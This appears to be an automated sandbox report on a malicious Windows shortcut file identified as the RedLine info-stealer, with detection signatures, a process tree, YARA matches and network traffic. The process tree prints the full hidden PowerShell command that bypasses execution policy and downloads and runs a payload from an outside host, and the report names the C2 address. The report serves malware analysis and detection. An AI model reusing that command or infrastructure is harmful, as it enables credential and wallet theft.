Edit tour

Windows Analysis Report
07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk

Overview

General Information

Sample Name:	07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk
Analysis ID:	796782
MD5:	ef7f9739337bc657cd0a63e32e27d0a1
SHA1:	bf67555a7272f24ceb57b1c49e4cf37dc17b246f
SHA256:	a517abf69af75cef34cc2db14981ea42b2ef4424c140e37363f80badb2353c6c
Tags:	lnk
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Windows shortcut file (LNK) starts blacklisted processes

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Found URL in windows shortcut file (LNK)

Bypasses PowerShell execution policy

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Yara detected Costura Assembly Loader

Encrypted powershell cmdline option found

Uses known network protocols on non-standard ports

Tries to download and execute files (via powershell)

Suspicious powershell command line found

Machine Learning detection for sample

Injects a PE file into a foreign processes

Powershell drops PE file

Yara detected Generic Downloader

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Drops PE files

Detected TCP or UDP traffic on non-standard ports

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

powershell.exe (PID: 4852 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe','C:\Users\user\AppData\Roaming\svhost.exe');Start-Process 'C:\Users\user\AppData\Roaming\svhost.exe' MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 1592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svhost.exe (PID: 4768 cmdline: "C:\Users\user\AppData\Roaming\svhost.exe" MD5: D3713110654DC546BD5EDC306A6E7EFD)

powershell.exe (PID: 4816 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 3584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svhost.exe (PID: 5428 cmdline: C:\Users\user\AppData\Roaming\svhost.exe MD5: D3713110654DC546BD5EDC306A6E7EFD)

conhost.exe (PID: 5540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

Opgcxhsdw.exe (PID: 624 cmdline: "C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe" MD5: D3713110654DC546BD5EDC306A6E7EFD)

powershell.exe (PID: 2432 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 3172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

Opgcxhsdw.exe (PID: 5216 cmdline: "C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe" MD5: D3713110654DC546BD5EDC306A6E7EFD)

powershell.exe (PID: 2164 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 3216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": ["194.26.192.248:7053"], "Bot Id": "cheat"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk	SUSP_LNK_SuspiciousCommands	Detects LNK file with suspicious content	Florian Roth (Nextron Systems)	0x317:$s7: -noprofile 0x399:$s9: .DownloadFile(

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x178fa:$a4: get_ScannedWallets 0x16758:$a5: get_ScanTelegram 0x1757e:$a6: get_ScanGeckoBrowsersPaths 0x1539a:$a7: <Processes>k__BackingField 0x132ac:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x14cce:$a9: <ScanFTP>k__BackingField
00000002.00000002.424099399.0000000003173000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000A.00000002.587414248.00000000025CD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000002.00000002.457069212.00000000056E0000.00000004.08000000.00040000.00000000.sdmp	HKTL_NET_NAME_DotNetInject	Detects .NET red/black-team tools via name	Arnim Rupp	0x1b9267:$name: DotNetInject 0x1a634a:$compile: AssemblyTitle
00000009.00000002.587061238.000000000352F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000007.00000002.580544741.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000007.00000002.580544741.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.580544741.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
00000000.00000002.327507977.000001D9DA350000.00000004.00000020.00020000.00000000.sdmp	Suspicious_PowerShell_WebDownload_1	Detects suspicious PowerShell code that downloads from web sites	Florian Roth (Nextron Systems)	0x366f:$s3: System.Net.WebClient).DownloadFile('http
00000000.00000002.327351810.000001D9DA340000.00000004.00000020.00020000.00000000.sdmp	Suspicious_PowerShell_WebDownload_1	Detects suspicious PowerShell code that downloads from web sites	Florian Roth (Nextron Systems)	0x1b3d:$s3: System.Net.WebClient).DownloadFile('http
00000000.00000002.381690727.000001D9F43C3000.00000004.00000020.00020000.00000000.sdmp	Suspicious_PowerShell_WebDownload_1	Detects suspicious PowerShell code that downloads from web sites	Florian Roth (Nextron Systems)	0x380d:$s3: System.Net.WebClient).DownloadFile('http
00000002.00000002.464775648.0000000005960000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.327507977.000001D9DA359000.00000004.00000020.00020000.00000000.sdmp	Suspicious_PowerShell_WebDownload_1	Detects suspicious PowerShell code that downloads from web sites	Florian Roth (Nextron Systems)	0x231cd:$s3: System.Net.WebClient).DownloadFile('http
00000002.00000002.424099399.0000000003278000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.424099399.0000000003278000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.424099399.0000000003278000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x15d06:$a4: get_ScannedWallets 0x2e192:$a4: get_ScannedWallets 0x14b64:$a5: get_ScanTelegram 0x2cff0:$a5: get_ScanTelegram 0x1598a:$a6: get_ScanGeckoBrowsersPaths 0x2de16:$a6: get_ScanGeckoBrowsersPaths 0x137a6:$a7: <Processes>k__BackingField 0x2bc32:$a7: <Processes>k__BackingField 0x116b8:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x29b44:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x130da:$a9: <ScanFTP>k__BackingField 0x2b566:$a9: <ScanFTP>k__BackingField
00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x9e62a:$a4: get_ScannedWallets 0x9d488:$a5: get_ScanTelegram 0x9e2ae:$a6: get_ScanGeckoBrowsersPaths 0x9c0ca:$a7: <Processes>k__BackingField 0x99fdc:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x9b9fe:$a9: <ScanFTP>k__BackingField
Process Memory Space: svhost.exe PID: 4768	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: svhost.exe PID: 4768	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: svhost.exe PID: 4768	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: svhost.exe PID: 4768	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0xa027:$a4: get_ScannedWallets 0x99ed7:$a4: get_ScannedWallets 0x118b88:$a4: get_ScannedWallets 0x8ece:$a5: get_ScanTelegram 0x98d7e:$a5: get_ScanTelegram 0x117a3a:$a5: get_ScanTelegram 0x9cb0:$a6: get_ScanGeckoBrowsersPaths 0x99b60:$a6: get_ScanGeckoBrowsersPaths 0x118811:$a6: get_ScanGeckoBrowsersPaths 0x7b61:$a7: <Processes>k__BackingField 0x97a11:$a7: <Processes>k__BackingField 0x116703:$a7: <Processes>k__BackingField 0x5094:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x94f55:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x113c36:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x7495:$a9: <ScanFTP>k__BackingField 0x97345:$a9: <ScanFTP>k__BackingField 0x116037:$a9: <ScanFTP>k__BackingField
Process Memory Space: svhost.exe PID: 5428	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: svhost.exe PID: 5428	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: svhost.exe PID: 5428	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x1fc1c:$a4: get_ScannedWallets 0x1eac3:$a5: get_ScanTelegram 0x1f8a5:$a6: get_ScanGeckoBrowsersPaths 0x1d756:$a7: <Processes>k__BackingField 0x1ac89:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1d08a:$a9: <ScanFTP>k__BackingField
Process Memory Space: Opgcxhsdw.exe PID: 624	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Opgcxhsdw.exe PID: 5216	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Click to see the 26 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.svhost.exe.5960000.6.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
2.2.svhost.exe.4222060.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.svhost.exe.4222060.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.svhost.exe.4222060.4.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147ea:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147cb:$v2_6: GetUpdates
2.2.svhost.exe.4222060.4.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
2.2.svhost.exe.3292bc8.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.svhost.exe.3292bc8.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.svhost.exe.3292bc8.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x10f55:$v4_3: base64str 0x11e14:$v4_4: stringKey
2.2.svhost.exe.3292bc8.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
7.2.svhost.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
7.2.svhost.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.svhost.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ea:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cb:$v2_6: GetUpdates
7.2.svhost.exe.400000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
2.2.svhost.exe.56e0000.5.raw.unpack	HKTL_NET_NAME_DotNetInject	Detects .NET red/black-team tools via name	Arnim Rupp	0x1b9267:$name: DotNetInject 0x1a634a:$compile: AssemblyTitle
2.2.svhost.exe.3292bc8.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.svhost.exe.3292bc8.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.svhost.exe.3292bc8.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x12d55:$v4_3: base64str 0x13c14:$v4_4: stringKey
2.2.svhost.exe.3292bc8.0.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
2.2.svhost.exe.4760090.1.unpack	HKTL_NET_NAME_DotNetInject	Detects .NET red/black-team tools via name	Arnim Rupp	0x1b7467:$name: DotNetInject 0x1a454a:$compile: AssemblyTitle
2.2.svhost.exe.4760090.1.raw.unpack	HKTL_NET_NAME_DotNetInject	Detects .NET red/black-team tools via name	Arnim Rupp	0x1b9267:$name: DotNetInject 0x1a634a:$compile: AssemblyTitle
2.2.svhost.exe.56e0000.5.unpack	HKTL_NET_NAME_DotNetInject	Detects .NET red/black-team tools via name	Arnim Rupp	0x1b7467:$name: DotNetInject 0x1a454a:$compile: AssemblyTitle
2.2.svhost.exe.42b0010.3.raw.unpack	HKTL_NET_NAME_DotNetInject	Detects .NET red/black-team tools via name	Arnim Rupp	0x3e92c7:$name: DotNetInject 0x3d63aa:$compile: AssemblyTitle
2.2.svhost.exe.4222060.4.raw.unpack	HKTL_NET_NAME_DotNetInject	Detects .NET red/black-team tools via name	Arnim Rupp	0x477277:$name: DotNetInject 0x46435a:$compile: AssemblyTitle
2.2.svhost.exe.4222060.4.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.svhost.exe.4222060.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.2.svhost.exe.4222060.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.svhost.exe.4222060.4.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ea:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cb:$v2_6: GetUpdates
2.2.svhost.exe.4222060.4.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
2.2.svhost.exe.41dca40.2.raw.unpack	HKTL_NET_NAME_DotNetInject	Detects .NET red/black-team tools via name	Arnim Rupp	0x4bc897:$name: DotNetInject 0x4a997a:$compile: AssemblyTitle
2.2.svhost.exe.41dca40.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.svhost.exe.41dca40.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.2.svhost.exe.41dca40.2.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
2.2.svhost.exe.41dca40.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.svhost.exe.41dca40.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x55aaa:$u7: RunPE 0x59161:$u8: DownloadAndEx 0x4e750:$pat14: , CommandLine: 0x58699:$v2_1: ListOfProcesses 0x55cab:$v2_2: get_ScanVPN 0x55d4e:$v2_2: get_ScanFTP 0x56a3e:$v2_2: get_ScanDiscord 0x57a2c:$v2_2: get_ScanSteam 0x57a48:$v2_2: get_ScanTelegram 0x57aee:$v2_2: get_ScanScreen 0x58836:$v2_2: get_ScanChromeBrowsersPaths 0x5886e:$v2_2: get_ScanGeckoBrowsersPaths 0x58b29:$v2_2: get_ScanBrowsers 0x58bea:$v2_2: get_ScannedWallets 0x58c10:$v2_2: get_ScanWallets 0x58c30:$v2_3: GetArguments 0x572f9:$v2_4: VerifyUpdate 0x5bc0a:$v2_4: VerifyUpdate 0x58fea:$v2_5: VerifyScanRequest 0x586e6:$v2_6: GetUpdates 0x5bbeb:$v2_6: GetUpdates
2.2.svhost.exe.41dca40.2.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x58bea:$a4: get_ScannedWallets 0x57a48:$a5: get_ScanTelegram 0x5886e:$a6: get_ScanGeckoBrowsersPaths 0x5668a:$a7: <Processes>k__BackingField 0x5459c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x55fbe:$a9: <ScanFTP>k__BackingField
Click to see the 30 entries

Other

Source	Rule	Description	Author	Strings
amsi64_4852.amsi.csv	Suspicious_PowerShell_WebDownload_1	Detects suspicious PowerShell code that downloads from web sites	Florian Roth (Nextron Systems)	0x6a:$s3: System.Net.WebClient).DownloadFile('http

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 194.26.192.248:7053Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: oiartzunirratia.eus

Source: global traffic

HTTP traffic detected: GET /install/clean/Lcovlccdxd.exe HTTP/1.1Host: oiartzunirratia.eusConnection: Keep-Alive

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.svhost.exe.4222060.4.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 2.2.svhost.exe.4222060.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 2.2.svhost.exe.3292bc8.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 2.2.svhost.exe.3292bc8.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 7.2.svhost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 7.2.svhost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 2.2.svhost.exe.3292bc8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 2.2.svhost.exe.3292bc8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 2.2.svhost.exe.4222060.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 2.2.svhost.exe.4222060.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 2.2.svhost.exe.41dca40.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 2.2.svhost.exe.41dca40.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 00000007.00000002.580544741.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 00000002.00000002.424099399.0000000003278000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: svhost.exe PID: 4768, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: svhost.exe PID: 5428, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

Found URL in windows shortcut file (LNK)

Source: Initial file

Strings: https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\svhost.exe

Jump to dropped file

Source: 07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk, type: SAMPLE	Matched rule: SUSP_LNK_SuspiciousCommands date = 2018-09-18, author = Florian Roth (Nextron Systems), description = Detects LNK file with suspicious content, score =
Source: amsi64_4852.amsi.csv, type: OTHER	Matched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth (Nextron Systems), description = Detects suspicious PowerShell code that downloads from web sites, nodeepdive = , score = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-07-27
Source: 2.2.svhost.exe.4222060.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
